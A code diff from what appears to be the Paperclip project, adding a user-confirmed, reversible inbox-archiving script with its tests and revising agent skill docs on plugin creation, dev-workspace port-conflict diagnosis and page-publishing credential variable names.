workspaceGone,
workspaceInspectionError: workspaceInfo?.error ?? null,
mergedIntoBase,
allLinkedIssuesTerminal,
aheadCount,
staleDays,
};
if (workspaceInfo?.error) {
return {
bucket: "D",
reason: reason("workspace_inspection_failed", "Keep: workspace archive safety could not be verified.", facts),
lastActivity,
};
}
if (hasOpenBlockers) return { bucket: "D", reason: reason("open_blockers", "Keep: the issue has unresolved blocker or liveness attention.", facts), lastActivity };
if (awaitingUser) return { bucket: "D", reason: reason("pending_user_action", "Keep: the issue is awaiting a user decision or review.", facts), lastActivity };
if (!terminal) {
const code = issue.status === "in_review" ? "pending_interaction_or_review" : "non_terminal_status";
return { bucket: "D", reason: reason(code, `Keep: issue status ${issue.status} is not terminal.`, facts), lastActivity };
}
if ((mergedIntoBase || workspaceArchived) && allLinkedIssuesTerminal) {
const code = workspaceArchived ? "workspace_archived_finished" : "merged_finished";
return { bucket: "A", reason: reason(code, "Archive candidate: work is merged or archived and every linked issue is terminal.", facts), lastActivity };
}
if (!stale) return { bucket: "D", reason: reason("recent_activity", `Keep: activity is newer than ${staleDays} days.`, facts), lastActivity };
if (aheadCount !== null && aheadCount > 0) {
return { bucket: "C", reason: reason("stale_unmerged_commits", `Review manually: stale branch is ${aheadCount} commit(s) ahead of base.`, facts), lastActivity };
}
if (terminal || workspaceGone) {
return { bucket: "B", reason: reason("stale_terminal_or_workspace_gone", `Archive candidate: no issue or branch activity for at least ${staleDays} days and the issue is terminal or workspace is gone.`, facts), lastActivity };
}
return { bucket: "D", reason: reason("insufficient_archive_evidence", "Keep: archive safety conditions were not met.", facts), lastActivity };
}
function candidateFrom(issue, workspace, classification) {
return {
issueId: issue.id,
identifier: issue.identifier ?? null,
title: issue.title,
bucket: classification.bucket,
reason: classification.reason,
executionWorkspaceId: issue.executionWorkspaceId ?? null,
workspaceStatus: workspace?.status ?? null,
workspaceGone: Boolean(workspace?.gone),
branchName: workspace?.branchName ?? null,
lastActivityAt: classification.lastActivity.toISOString(),
};
}
function markdownEscape(value) {
return String(value ?? "").replaceAll("|", "\\|").replaceAll("\n", " ");
}
function renderReport(scanResult) {
const labels = {
A: "A — merged and finished (default checked)",
B: "B — stale (default checked)",
C: "C — stale but unmerged (default unchecked)",
D: "D — keep (not offered)",
};
const lines = [
"# Garden inbox scan", "",
`- Generated: ${scanResult.generatedAt}`,
`- Target user: \`${scanResult.userId}\``,
`- Stale threshold: ${scanResult.staleDays} days`,
`- Inbox rows classified: ${scanResult.items.length}`,
`- Archive candidates: ${scanResult.candidates.length}`,
`- Scan coverage: ${scanResult.coverage.complete ? "complete across per-status queries" : "possibly truncated"}`,
];
if (!scanResult.coverage.complete) {
lines.push(
"",
"> [!WARNING]",
`> Coverage may be incomplete: ${scanResult.coverage.cappedStatuses.map((status) => `\`${status}\``).join(", ")} returned at least ${scanResult.coverage.queryCap} rows, the Mine endpoint cap.`,
);
}
for (const bucket of ["A", "B", "C", "D"]) {
const items = scanResult.items.filter((item) => item.bucket === bucket);
lines.push("", `## ${labels[bucket]} (${items.length})`, "");
if (items.length === 0) {
lines.push("_None._");
continue;
}
lines.push("| Issue | Title | Reason | Workspace / branch | Last activity |", "|---|---|---|---|---|");
for (const item of items) {
const issue = item.identifier ? `\`${markdownEscape(item.identifier)}\`` : `\`${item.issueId}\``;
const workspace = [item.workspaceStatus, item.branchName].filter(Boolean).join(" / ") || (item.workspaceGone ? "gone" : "none");
lines.push(`| ${issue} | ${markdownEscape(item.title)} | \`${item.reason.code}\` — ${markdownEscape(item.reason.message)} | ${markdownEscape(workspace)} | ${item.lastActivityAt} |`);
}
}
lines.push("");
return lines.join("\n");
}
function writeText(path, contents) {
const target = resolve(path);
mkdirSync(dirname(target), { recursive: true });
writeFileSync(target, contents);
return target;
}
function readJson(path) {
return JSON.parse(readFileSync(resolve(path), "utf8"));
}
function stableScanId(scanResult) {
const fingerprint = {
userId: scanResult.userId,
staleDays: scanResult.staleDays,
generatedAt: scanResult.generatedAt,
candidates: scanResult.candidates.map((item) => ({
issueId: item.issueId,
bucket: item.bucket,
reason: item.reason.code,
lastActivityAt: item.lastActivityAt,
})),
};
return createHash("sha256").update(JSON.stringify(fingerprint)).digest("hex").slice(0, 24);
}
async function scan(options) {
const context = runtime(options);
const userId = resolveUserId(options, context.apiKey);
const staleDays = parsePositiveInteger(options.stale_days, DEFAULT_STALE_DAYS, "--stale-days");
const now = options.now ? validDate(options.now) : new Date();
if (!now) throw new Error("--now must be an ISO date");
const outputDir = options.output_dir ?? ".";
const candidatesPath = options.candidates ?? resolve(outputDir, "candidates.json");
const reportPath = options.report ?? resolve(outputDir, "garden-inbox-report.md");
const { rows, coverage } = await fetchMineInboxRows(context, userId);
const issuesByWorkspace = new Map();
for (const issue of rows) {
if (!issue.executionWorkspaceId) continue;
const identifiers = issuesByWorkspace.get(issue.executionWorkspaceId) ?? [];
if (issue.identifier) identifiers.push(issue.identifier);
issuesByWorkspace.set(issue.executionWorkspaceId, identifiers);
}
const workspaceIds = [...issuesByWorkspace.keys()];
const inspected = await mapLimit(workspaceIds, 8, (workspaceId) => inspectWorkspace(
context, workspaceId, issuesByWorkspace.get(workspaceId), options.git_root ?? process.cwd(),
));
const workspaceById = new Map(inspected.map((entry) => [entry.id, entry]));
const items = rows.map((issue) => {
const workspace = issue.executionWorkspaceId ? workspaceById.get(issue.executionWorkspaceId) ?? null : null;
return candidateFrom(issue, workspace, classify(issue, workspace, staleDays, now));
});
const scanResult = {
schemaVersion: 1,
generatedAt: now.toISOString(),
userId,
staleDays,
sourceCount: rows.length,
coverage,
items,
candidates: items.filter((item) => OFFERED_BUCKETS.has(item.bucket)),
};
scanResult.scanId = stableScanId(scanResult);
const output = {
schemaVersion: 1,
scanId: scanResult.scanId,
generatedAt: scanResult.generatedAt,
userId,
staleDays,
sourceCount: rows.length,
coverage,
candidates: scanResult.candidates,
kept: items.filter((item) => item.bucket === "D"),
};
const candidatesFile = writeText(candidatesPath, `${JSON.stringify(output, null, 2)}\n`);
const report = renderReport(scanResult);
const reportFile = writeText(reportPath, report);
process.stdout.write(`${report}\nCandidates JSON: ${candidatesFile}\nReport: ${reportFile}\n`);
return output;
}
function truncate(value, limit) {
const text = String(value ?? "").trim();
if (text.length <= limit) return text;
return `${text.slice(0, Math.max(0, limit - 1)).trimEnd()}…`;
}
function candidateFile(options) {
const data = readJson(options.candidates ?? "candidates.json");
if (data?.schemaVersion !== 1
|| typeof data.scanId !== "string"
|| typeof data.userId !== "string"
|| data.userId.trim() === ""
|| !Array.isArray(data.candidates)) {
throw new Error("Candidates file is not a garden-inbox schemaVersion 1 scan");
}
for (const item of data.candidates) {
if (!item?.issueId || !OFFERED_BUCKETS.has(item.bucket)) {
throw new Error("Candidates file contains an invalid or non-offered item");
}
}
return data;
}
function archiveTargetBody(scanData) {
return { userId: scanData.userId };
}
function chunk(values, size) {
const chunks = [];
for (let index = 0; index < values.length; index += size) chunks.push(values.slice(index, index + size));
return chunks;
}
function unselectedKeySuffix(candidates, unselectedIds) {
const idsInCard = candidates
.map((candidate) => candidate.issueId)
.filter((issueId) => unselectedIds.has(issueId))
.sort();
if (idsInCard.length === 0) return "";
const fingerprint = createHash("sha256")
.update(idsInCard.join("\n"))
.digest("hex")
.slice(0, 16);
return `:${fingerprint}`;
}
function confirmationBody(scanData, candidates, index, count, unselectedIds = new Set()) {
const options = candidates.map((candidate) => ({
id: candidate.issueId,
label: truncate(`${candidate.identifier ?? candidate.issueId} — ${candidate.title}`, 120),
description: truncate(`${candidate.reason.message} Last activity: ${candidate.lastActivityAt}.${
unselectedIds.has(candidate.issueId) ? " Declined in a previous pass; starts unchecked." : ""
}`, 500),
}));
const part = count > 1 ? ` (${index + 1}/${count})` : "";
return {
kind: "request_checkbox_confirmation",
idempotencyKey: `garden-inbox:${scanData.scanId}:${index + 1}:${count}${unselectedKeySuffix(candidates, unselectedIds)}`,
title: `Confirm inbox archive candidates${part}`,
summary: `Choose which reversible inbox entries to archive${part}.`,
continuationPolicy: "wake_assignee",
payload: {
version: 1,
prompt: `Select the inbox entries to archive${part}. Unchecked entries will remain visible.`,
options,
defaultSelectedOptionIds: candidates
.filter((candidate) => (candidate.bucket === "A" || candidate.bucket === "B")
&& !unselectedIds.has(candidate.issueId))
.map((candidate) => candidate.issueId),
minSelected: 0,
acceptLabel: "Archive selected",
rejectLabel: "Keep everything",
detailsMarkdown: `Scan \`${scanData.scanId}\` used a ${scanData.staleDays}-day stale threshold. Buckets A and B start checked; stale branches with unmerged commits (C) start unchecked. Archiving changes only this user's inbox visibility and is reversible.`,
},
};
}
async function confirm(options) {
const data = candidateFile(options);
const drivingIssueId = options.issue_id ?? process.env.PAPERCLIP_TASK_ID;
if (!options.dry_run) required(drivingIssueId, "--issue-id or PAPERCLIP_TASK_ID");
const candidateIds = new Set(data.candidates.map((candidate) => candidate.issueId));
const unselectedIds = new Set(optionValues(options.unselect).map((id) => required(id, "--unselect")));
for (const id of unselectedIds) {
if (!candidateIds.has(id)) throw new Error(`--unselect ${id} is not an offered candidate in this scan`);
}
const groups = chunk(data.candidates, INTERACTION_LIMIT);
if (groups.length === 0) {
process.stdout.write("No archive candidates; no confirmation interaction created.\n");
return [];
}
const bodies = groups.map((candidates, index) => confirmationBody(data, candidates, index, groups.length, unselectedIds));
if (options.dry_run) {
process.stdout.write(`${JSON.stringify({ dryRun: true, issueId: drivingIssueId ?? null, interactions: bodies }, null, 2)}\n`);
return bodies;
}
const context = runtime(options);
const created = [];
for (const body of bodies) {
created.push(await apiRequest(context, `/issues/${encodeURIComponent(drivingIssueId)}/interactions`, {
method: "POST",
body,
}));
}
process.stdout.write(`${JSON.stringify({
scanId: data.scanId,
createdInteractions: created.map((item) => ({
id: item.id,
status: item.status,
idempotencyKey: item.idempotencyKey,
})),
}, null, 2)}\n`);
return created;
}
function flattenInteractionFile(value) {
if (Array.isArray(value)) return value;
if (Array.isArray(value?.interactions)) return value.interactions;
if (value?.interaction && typeof value.interaction === "object") return [value.interaction];
return value && typeof value === "object" ? [value] : [];
}
function optionValues(value) {
if (value === undefined) return [];
return Array.isArray(value) ? value : [value];
}
async function resolveInteractions(options, context, drivingIssueId) {
const files = optionValues(options.interaction_file);
const ids = optionValues(options.interaction_id);
const fromFiles = files.flatMap((file) => flattenInteractionFile(readJson(file)));
if (ids.length === 0) return fromFiles;
required(drivingIssueId, "--issue-id or PAPERCLIP_TASK_ID");
const live = await apiRequest(context, `/issues/${encodeURIComponent(drivingIssueId)}/interactions`);
if (!Array.isArray(live)) throw new Error("Interactions API returned a non-array response");
const byId = new Map(live.map((interaction) => [interaction.id, interaction]));
for (const id of ids) {
if (!byId.has(id)) throw new Error(`Interaction ${id} was not found on the driving issue`);
fromFiles.push(byId.get(id));
}
return fromFiles;
}
function acceptedCandidates(interaction, scanData, candidateById) {
if (interaction?.kind !== "request_checkbox_confirmation") {
throw new Error(`Interaction ${interaction?.id ?? "(unknown)"} is not request_checkbox_confirmation`);
}
if (typeof interaction.idempotencyKey !== "string"
|| !interaction.idempotencyKey.startsWith(`garden-inbox:${scanData.scanId}:`)) {
throw new Error(`Interaction ${interaction.id ?? "(unknown)"} does not belong to scan ${scanData.scanId}`);
}
if (interaction.status !== "accepted" || interaction.result?.outcome !== "accepted") return [];
const selected = interaction.result?.selectedOptionIds ?? [];
if (!Array.isArray(selected)) throw new Error("Accepted interaction has invalid selectedOptionIds");
const optionIds = new Set((interaction.payload?.options ?? []).map((option) => option.id));
const seen = new Set();
return selected.map((issueId) => {
if (seen.has(issueId)) throw new Error(`Interaction selected duplicate option id ${issueId}`);
seen.add(issueId);
if (!optionIds.has(issueId)) throw new Error(`Selected id ${issueId} was not an option in the interaction`);
const candidate = candidateById.get(issueId);
if (!candidate || !OFFERED_BUCKETS.has(candidate.bucket)) {
throw new Error(`Selected id ${issueId} is not an offered candidate in the originating scan`);
}
return candidate;
});
}
function renderApplySummary(results, interactions, dryRun, userId) {
const lines = [
`# Garden inbox ${dryRun ? "dry-run " : ""}apply summary`, "",
`- Interactions inspected: ${interactions.length}`,
`- Entries ${dryRun ? "that would be archived" : "archived"}: ${results.filter((result) => result.ok).length}`,
`- Failures: ${results.filter((result) => !result.ok).length}`,
];
if (results.length === 0) {
lines.push("", "Nothing was archived: the interaction was rejected, unresolved, expired, or accepted with no selections.");
}
for (const result of results) {
lines.push("", `- ${result.ok ? "OK" : "FAILED"}: ${result.identifier ?? result.issueId} — ${result.message}`);
if (result.ok) {
lines.push(` Undo: \`DELETE /api/issues/${result.issueId}/inbox-archive\` with body \`${JSON.stringify({ userId })}\`, or use **Unarchive** in the issue properties pane.`);
}
}
return `${lines.join("\n")}\n`;
}
async function applyAccepted(options) {
const data = candidateFile(options);
const drivingIssueId = options.issue_id ?? process.env.PAPERCLIP_TASK_ID ?? null;
const needsLiveApi = optionValues(options.interaction_id).length > 0 || !options.dry_run;
const context = runtime(options, { requireApi: needsLiveApi });
const interactions = await resolveInteractions(options, context, drivingIssueId);
if (interactions.length === 0) throw new Error("Provide --interaction-id or --interaction-file");
const candidateById = new Map(data.candidates.map((candidate) => [candidate.issueId, candidate]));
const accepted = [];
const seen = new Set();
for (const interaction of interactions) {
for (const candidate of acceptedCandidates(interaction, data, candidateById)) {
if (!seen.has(candidate.issueId)) accepted.push(candidate);
seen.add(candidate.issueId);
}
}
const results = [];
for (const candidate of accepted) {
if (options.dry_run) {
results.push({ ...candidate, ok: true, message: "would archive this accepted inbox entry" });
continue;
}
try {
await apiRequest(context, `/issues/${encodeURIComponent(candidate.issueId)}/inbox-archive`, {
method: "POST",
body: archiveTargetBody(data),
});
results.push({ ...candidate, ok: true, message: "archived accepted inbox entry" });
} catch (error) {
results.push({ ...candidate, ok: false, message: error.message });
}
}
const summary = renderApplySummary(results, interactions, Boolean(options.dry_run), data.userId);
process.stdout.write(summary);
if (options.summary) writeText(options.summary, summary);
if (results.some((result) => !result.ok)) process.exitCode = 1;
return results;
}
export {
acceptedCandidates,
archiveTargetBody,
classify,
confirm,
confirmationBody,
decodeJwtPayload,
fetchMineInboxRows,
normalizeApiBase,
scan,
};
async function main() {
const { command, options } = parseArgs(process.argv.slice(2));
if (options.help) {
process.stdout.write(`${usage()}\n`);
return;
}
if (command === "scan") await scan(options);
else if (command === "confirm") await confirm(options);
else await applyAccepted(options);
}
if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) {
main().catch((error) => {
process.stderr.write(`garden-inbox: ${error.message}\n`);
process.exitCode = 1;
});
}
@@ -0,0 +1,187 @@
import assert from "node:assert/strict";
import test from "node:test";
import {
acceptedCandidates,
archiveTargetBody,
classify,
confirmationBody,
decodeJwtPayload,
fetchMineInboxRows,
normalizeApiBase,
} from "./garden-inbox.mjs";
const now = new Date("2026-07-29T00:00:00.000Z");
function issue(overrides = {}) {
return {
id: "issue-1",
identifier: "PAP-1",
title: "Example",
status: "done",
updatedAt: "2025-01-01T00:00:00.000Z",
blockedBy: [],
...overrides,
};
}
function workspace(overrides = {}) {
return {
gone: false,
error: null,
status: "active",
branchCommitAt: "2025-01-01T00:00:00.000Z",
readiness: {
git: { isMergedIntoBase: false, aheadCount: 0 },
linkedIssues: [{ isTerminal: true }],
},
...overrides,
};
}
test("classifies each archive and keep condition into one bucket", () => {
const merged = workspace({
readiness: {
git: { isMergedIntoBase: true, aheadCount: 0 },
linkedIssues: [{ isTerminal: true }],
},
});
assert.equal(classify(issue(), merged, 60, now).bucket, "A");
assert.equal(classify(issue(), workspace(), 60, now).bucket, "B");
assert.equal(classify(issue(), workspace({
readiness: {
git: { isMergedIntoBase: false, aheadCount: 2 },
linkedIssues: [{ isTerminal: true }],
},
}), 60, now).bucket, "C");
assert.equal(classify(issue({ status: "in_progress" }), workspace(), 60, now).bucket, "D");
});
test("keeps candidates when workspace safety inspection fails", () => {
const result = classify(issue(), workspace({ error: "503 Service Unavailable", readiness: null }), 60, now);
assert.equal(result.bucket, "D");
assert.equal(result.reason.code, "workspace_inspection_failed");
});
test("returns only accepted options from the originating scan", () => {
const candidate = { issueId: "issue-1", bucket: "A" };
const scan = { scanId: "scan-1" };
const interaction = {
id: "interaction-1",
kind: "request_checkbox_confirmation",
idempotencyKey: "garden-inbox:scan-1:1:1",
status: "accepted",
payload: { options: [{ id: "issue-1" }] },
result: { outcome: "accepted", selectedOptionIds: ["issue-1"] },
};
assert.deepEqual(acceptedCandidates(interaction, scan, new Map([[candidate.issueId, candidate]])), [candidate]);
});
test("unselected candidates start unchecked and are labelled as previously declined", () => {
const scan = { scanId: "scan-1", staleDays: 60 };
const candidates = [
{ issueId: "issue-1", identifier: "PAP-1", title: "Kept before", bucket: "B", lastActivityAt: "2026-05-01T00:00:00.000Z", reason: { message: "Stale." } },
{ issueId: "issue-2", identifier: "PAP-2", title: "New candidate", bucket: "B", lastActivityAt: "2026-05-01T00:00:00.000Z", reason: { message: "Stale." } },
];
const body = confirmationBody(scan, candidates, 0, 1, new Set(["issue-1"]));
assert.deepEqual(body.payload.defaultSelectedOptionIds, ["issue-2"]);
assert.match(body.payload.options[0].description, /Declined in a previous pass; starts unchecked\./);
assert.doesNotMatch(body.payload.options[1].description, /Declined in a previous pass/);
assert.notEqual(body.idempotencyKey, "garden-inbox:scan-1:1:1");
assert.equal(
body.idempotencyKey,
confirmationBody(scan, candidates, 0, 1, new Set(["issue-1"])).idempotencyKey,
);
assert.notEqual(
body.idempotencyKey,
confirmationBody(scan, candidates, 0, 1, new Set(["issue-2"])).idempotencyKey,
);
assert.equal(
confirmationBody(scan, candidates, 0, 1).idempotencyKey,
"garden-inbox:scan-1:1:1",
);
assert.equal(
confirmationBody(scan, [candidates[1]], 1, 2, new Set(["issue-1"])).idempotencyKey,
"garden-inbox:scan-1:2:2",
);
});
test("preserves an overridden scan user for archive and undo requests", () => {
assert.deepEqual(archiveTargetBody({ userId: "target-user" }), { userId: "target-user" });
});
test("rejects selected ids that were not offered", () => {
const scan = { scanId: "scan-1" };
const interaction = {
id: "interaction-1",
kind: "request_checkbox_confirmation",
idempotencyKey: "garden-inbox:scan-1:1:1",
status: "accepted",
payload: { options: [{ id: "issue-1" }] },
result: { outcome: "accepted", selectedOptionIds: ["issue-2"] },
};
assert.throws(
() => acceptedCandidates(interaction, scan, new Map()),
/was not an option in the interaction/,
);
});
test("decodes the responsible user and normalizes API URLs locally", () => {
const payload = Buffer.from(JSON.stringify({ responsible_user_id: "user-1" })).toString("base64url");
assert.equal(decodeJwtPayload(`header.${payload}.signature`).responsible_user_id, "user-1");
assert.equal(normalizeApiBase("https://paperclip.example/api/"), "https://paperclip.example");
});
test("scans Mine once per status and merges rows by issue id", async (t) => {
const requestedStatuses = [];
t.mock.method(globalThis, "fetch", async (url) => {
const parsed = new URL(url);
const status = parsed.searchParams.get("status");
requestedStatuses.push(status);
const rows = status === "todo"
? [issue({ id: "shared", status: "todo" })]
: status === "done"
? [issue({ id: "shared", status: "done" }), issue({ id: "done-only" })]
: [];
return new Response(JSON.stringify(rows), { status: 200 });
});
const result = await fetchMineInboxRows({
apiBase: "https://paperclip.example",
apiKey: "secret",
}, "user-1");
assert.deepEqual(requestedStatuses, ["backlog", "todo", "in_progress", "in_review", "blocked", "done"]);
assert.equal(result.rows.length, 2);
assert.equal(result.rows.find((row) => row.id === "shared").status, "done");
assert.equal(result.coverage.duplicateCount, 1);
assert.equal(result.coverage.complete, true);
assert.deepEqual(result.coverage.statusCounts, {
backlog: 0,
todo: 1,
in_progress: 0,
in_review: 0,
blocked: 0,
done: 2,
});
});
test("warns when an individual status query reaches the Mine endpoint cap", async (t) => {
t.mock.method(globalThis, "fetch", async (url) => {
const status = new URL(url).searchParams.get("status");
const rows = status === "done"
? Array.from({ length: 500 }, (_, index) => issue({ id: `done-${index}` }))
: [];
return new Response(JSON.stringify(rows), { status: 200 });
});
const result = await fetchMineInboxRows({
apiBase: "https://paperclip.example",
apiKey: "secret",
}, "user-1");
assert.equal(result.rows.length, 500);
assert.equal(result.coverage.complete, false);
assert.deepEqual(result.coverage.cappedStatuses, ["done"]);
assert.equal(result.coverage.queryCap, 500);
});
@@ -1,11 +1,9 @@
---
name: paperclip-create-plugin
description: >
Create and develop external Paperclip plugins with the CLI-first workflow.
Use when scaffolding a new plugin, working on a local plugin against a running
Paperclip instance, or updating plugin authoring docs. Covers `paperclipai
plugin init`, the local install loop via `paperclipai plugin install <path>`,
worker/UI rebuild and reload semantics, and the required success checklist.
Create and develop external Paperclip plugins with the CLI-first workflow. Use
when scaffolding a plugin, iterating on a local plugin, installing it into
Paperclip, or updating plugin authoring docs.
---
# Create and develop a Paperclip plugin
@@ -1,12 +1,9 @@
---
name: paperclip-dev-workspace-run-verify-fix
description: >
Run, verify, reseed, and repair a Paperclip isolated dev workspace service.
Use when asked to start or fix a Paperclip project/worktree service and prove
that it is managed by the Paperclip runtime, has the full bootstrapped cloned
database, is healthy, accepts normal dev credentials, exposes populated app
data, and is visible as running from both the control-plane and the served
workspace app.
Run, verify, reseed, and repair Paperclip isolated dev workspace services. Use
when asked to start or fix a managed project/worktree service and prove health,
login readiness, cloned data, runtime visibility, and correct port ownership.
---
# Paperclip Dev Workspace Run / Verify / Fix
@@ -29,12 +26,27 @@ Success means all of these are true:
expected URL
- the served workspace app also knows about that service and shows it as
`running` / `healthy`
- the process that owns the service port really belongs to the target
workspace: `readlink /proc/<pid>/cwd` resolves inside the target worktree,
not a sibling workspace
If any item fails, keep fixing. Do not mark the issue done because one probe
passed.
## Hard rules
- The master checkout `/srv/paperclip/home/paperclipai/paperclip` (the primary
repo with the real instance `.env`) is never a workspace repair target. Never
point a worktree runtime service at it, never `git worktree add` into it or
under `<master>/.paperclip/worktrees/`, and never edit its `.env` while
repairing a workspace. Managed workspaces run in their own folders, for
example `~/.paperclip-worktrees/instances/<slug>/…`.
- Never trust a `running` / `healthy` runtime row or a passing `/api/health`
alone. The `service:paperclip-dev` port is pinned in service config, so a
sibling workspace's process can own the port and still answer health checks.
Confirm the port owner's real cwd (`readlink /proc/<pid>/cwd`) before and
after every repair; the runtime row's recorded `cwd` and `pid` can be
fabricated by port adoption.
- Read `doc/DEVELOPING.md` before running Paperclip CLI, dev server, worktree,
database, build, or test commands.
- Use the Paperclip CLI and API as the source of truth for worktree and
@@ -78,15 +90,23 @@ workspace that should be freshly ready.
1. Confirm the latest issue comment and restate the success condition in your
own words.
2. Inspect current runtime state from the main control plane.
3. Stop any managed instance of the target runtime service.
4. Reseed the worktree with a full clone from the primary instance when there
3. Check the target port for conflicts: identify the current port owner and
its real cwd, and check whether any sibling workspace's runtime row also
claims the same port (see "Port conflicts and workspace identity").
4. If another live workspace or agent run owns the port, stop that owner
through its managed control path and verify the port stays free. Do this
before restarting the target; otherwise the owner can respawn and reclaim
the port.
5. Stop any managed instance of the target runtime service.
6. Reseed the worktree with a full clone from the primary instance when there
is any doubt about database completeness.
5. Start the runtime service through the managed runtime API.
6. Verify health, bootstrap state, login readiness, populated data, and runtime
visibility from both the main control plane and served workspace app.
7. If a verification item fails, diagnose that exact failure and loop back to
7. Start the runtime service through the managed runtime API.
8. Verify health, bootstrap state, login readiness, populated data, runtime
visibility, and port-owner identity from both the main control plane and
served workspace app.
9. If a verification item fails, diagnose that exact failure and loop back to
the narrowest repair step.
8. Comment on the issue and set the final disposition.
10. Comment on the issue and set the final disposition.
## Managed start / stop
@@ -112,7 +132,74 @@ curl -sS -X POST \
```
If the API returns an existing service, treat that as a candidate only. Verify
its real `/api/health` before trusting it.
its real `/api/health` and its port-owner identity before trusting it.
## Port conflicts and workspace identity
`service:paperclip-dev` pins an explicit port in service config, so every
workspace that realizes that service claims the same port. On start, service
adoption will adopt whatever process already owns the port when its command
line looks similar — and it records the *requested* cwd, not the owner's real
cwd. Two consequences:
- multiple workspaces can hold `running` rows for the same port while only one
process exists; whichever workspace URL you open, you get that one process
- the runtime row's `cwd`, `pid`, and health can all look correct while the
URL actually serves a sibling worktree's app
Identity check — run this before trusting any existing service and again after
every start or restart:
```sh
pid=$(lsof -nP -iTCP:"$SERVICE_PORT" -sTCP:LISTEN -t | head -1)
readlink "/proc/$pid/cwd"
```
The resolved cwd must be inside the target worktree (the dev server usually
runs in `<worktree>/server`). Only `/proc/<pid>/cwd` is authoritative. Do not
accept the runtime row's `cwd` field, a root `200`, or a healthy `/api/health`
as proof of identity — a squatting sibling passes all three.
If the port owner is a sibling workspace's process (port squat):
1. Decide which workspace should own the pinned port right now — normally the
workspace named in the issue.
2. Identify the current owner's workspace and whether a live agent run or
managed runtime service is responsible for keeping it alive. Use the real
`/proc/<pid>/cwd`, the sibling execution-workspace records, and the owning
issue/run state; do not infer ownership from the target runtime row.
3. Stop the owner first through its own managed control path: stop the sibling
workspace's runtime service, or stop/cancel the live run that supervises and
respawns it. Do not kill the sibling process directly while its supervisor
is still active, because it will simply come back and reclaim the port.
4. Verify the port remains unbound for a stability wait. If it is immediately
rebound, find and stop the still-live supervisor instead of restarting the
target in a loop.
5. Only after the conflicting owner is stopped, start or restart the target
service and re-run the identity check:
```sh
curl -sS -X POST \
"$PAPERCLIP_API_URL/api/execution-workspaces/$EXECUTION_WORKSPACE_ID/runtime-services/restart" \
-H "Authorization: Bearer $PAPERCLIP_API_KEY" \
-H "X-Paperclip-Run-Id: $PAPERCLIP_RUN_ID" \
-H "Content-Type: application/json" \
--data-binary '{"workspaceCommandId":"service:paperclip-dev"}'
```
6. A restart only holds if the conflicting owner stays stopped. If the port is
reclaimed, stop and diagnose the owner/supervisor again; do not loop target
restarts against it.
7. If two workspaces genuinely need to run at the same time, they cannot share
a pinned port. Stop the one that is not needed (through its own workspace's
managed stop, or by ending the run that keeps respawning it), say in your
issue comment which workspace now owns the port, and escalate the
pinned-port collision as a product issue instead of looping restarts.
Before declaring success, also fetch the sibling workspaces you suspect and
compare their `runtimeServices[].port` values: more than one `running` row
claiming the target port across workspaces is always a conflict to resolve,
not a state to work around.
## Full database reseed
@@ -121,7 +208,7 @@ is missing, the cloned app does not have the expected companies/issues/agents,
or the user explicitly asks for the normal isolated-workspace database.
```sh
pnpm paperclipai worktree reseed --from-instance default --seed-mode full --yes
npx paperclipai worktree reseed --from-instance default --seed-mode full --yes
```
After reseed, restart through the managed runtime path. A reseed can copy
@@ -236,6 +323,36 @@ verification was delegated and why.
## Common failures and fixes
### Service URL serves a different workspace (port squat)
Symptom: the workspace URL loads a working Paperclip app, but it is a sibling
worktree's app — wrong branch, wrong data, or the UI keeps bouncing you into
another workspace's pages.
Likely cause: the pinned service port is owned by another workspace's process
and start-time adoption attached that process to this workspace's runtime row.
Health checks pass because the sibling app is genuinely healthy.
Fix: follow the owner-first procedure in "Port conflicts and workspace
identity": identify and stop the sibling service or supervising run, verify
the port stays free, then start or restart the target service. Re-verify that
`/proc/<pid>/cwd` of the new port owner resolves inside the target worktree.
Verify: identity check passes, and one workspace-specific record served
through the URL (branch, issue key, or workspace id) matches the target
workspace.
### Recorded port drifts after an ad hoc start
Symptom: the runtime row and the actual listener disagree about the port, or a
previously pinned port changed after someone started the app by hand.
Likely cause: an unmanaged `pnpm dev` (for example with `--bind lan`) picks its
own port instead of using the managed pinned port.
Fix: stop the unmanaged process, then managed start. Verify the recorded URL
port equals the bound port and the identity check passes.
### Setup gate appears
Symptom: the page says no admin has claimed the instance.
@@ -325,6 +442,25 @@ the cloned app state itself must be repaired, use normal Paperclip issue/run
transitions first. Do not hide the condition with raw DB edits; report the
exact guard or missing row if it blocks the normal path.
## Recurring gotchas from past repairs
Each of these has burned a previous repair; check them before deep debugging.
- Worktree instance logs live at
`~/.paperclip-worktrees/instances/<slug>/logs`. Read them before guessing at
login or startup failures.
- Probing the service through a LAN or tailscale IP can return `403` while
`127.0.0.1` (or the `paperclip-dev` hostname) works. Probe loopback first
before concluding auth is broken.
- Browser QA that lands on a blank company path (for example `/FOR/...`)
should switch to a company key that exists in the cloned data (for example
`/PAP/...`) before concluding the reseed failed.
- A `409` on runtime or issue mutations usually means another live run holds
the ownership lock. Do not force it; wait or coordinate through the issue.
- After a full reseed the cloned DB can contain copied runtime-service rows
that do not match local processes. Re-run managed start and the identity
check instead of trusting copied rows.
## When code changes are required
Make a code change only when the normal operational repair exposes a product
@@ -332,6 +468,9 @@ bug. Examples from this failure class:
- local port owner detection used the wrong `lsof` arguments
- service adoption trusted root `200` instead of `/api/health`
- port-owner adoption recorded the requested cwd instead of verifying the
owner's real `/proc/<pid>/cwd`, so a sibling workspace's process was adopted
- pinned service ports collided across sibling workspaces
- unhealthy adopted services were not terminated/replaced
- reseeded runtime-service ids were not reconciled with local process registry
@@ -363,6 +502,7 @@ Fix:
Verified:
- main control plane shows <service> running/healthy at <url>
- served workspace app shows the same service running/healthy
- port owner identity: /proc/<pid>/cwd resolves inside the target worktree
- <url>/api/health is ok with bootstrapStatus ready
- root page returns 200 and no setup gate
- dev login verified by <agent browser / QA / user> without posting credentials
+33 -11
View File
@@ -73,8 +73,8 @@ Required for live publishes:
export AWS_REGION=us-east-1
export PAPERCLIP_PAGE_BUCKET=paperclip-pages-prod
export PAPERCLIP_PAGE_BASE_URL=https://pages.paperclip.ing
export AWS_ACCESS_KEY_ID=...
export AWS_SECRET_ACCESS_KEY=...
export PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID=...
export PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY=...
```
Optional:
@@ -82,15 +82,35 @@ Optional:
```bash
export PAPERCLIP_PAGE_DEFAULT_PREFIX=""
export PAPERCLIP_PAGE_AWS_PROFILE=paperclip-page-uploader
export PAPERCLIP_PAGE_AWS_SESSION_TOKEN=... # only with the namespaced key pair
```
Credential resolution order inside `publish.sh`:
